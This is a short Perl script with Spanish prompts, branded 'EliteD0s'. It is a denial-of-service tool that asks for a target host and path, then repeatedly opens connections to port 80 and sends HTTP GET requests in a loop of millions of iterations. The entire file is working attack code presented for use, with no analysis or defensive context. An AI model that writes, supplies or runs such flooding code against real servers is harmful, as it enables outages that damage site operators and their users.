#!/usr/bin/perl





use IO::Socket;





$x = 0;





print q(

**************************************

*EliteD0s By Megabyte  im elite h4x0r*

**************************************

);



print q(Host sin http: );

$hos = <STDIN>;

chop ($hos);



print q(Ruta de imagen o lo k gustes: );

$tit = <STDIN>;

chop ($tit);





$type = flood;

chop ($type);









if($type == flood){





while($x != 9999999)

{











$postit = "";





$lrg = length $postit;





my $sock = new IO::Socket::INET (

                                 PeerAddr => "$hos",

                                 PeerPort => "80",

                                 Proto => "tcp",

                                );

die "\nEl host esta fuera de servicio o no estas conectado a internet $!\n" unless $sock;





print $sock "GET $tit HTTP/1.1\n";

print $sock "Host: $hos\n";

print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";

print $sock "$postit\n";

close($sock);







syswrite STDOUT, "+";





$x++;

}







}



else{



	die " \n";

}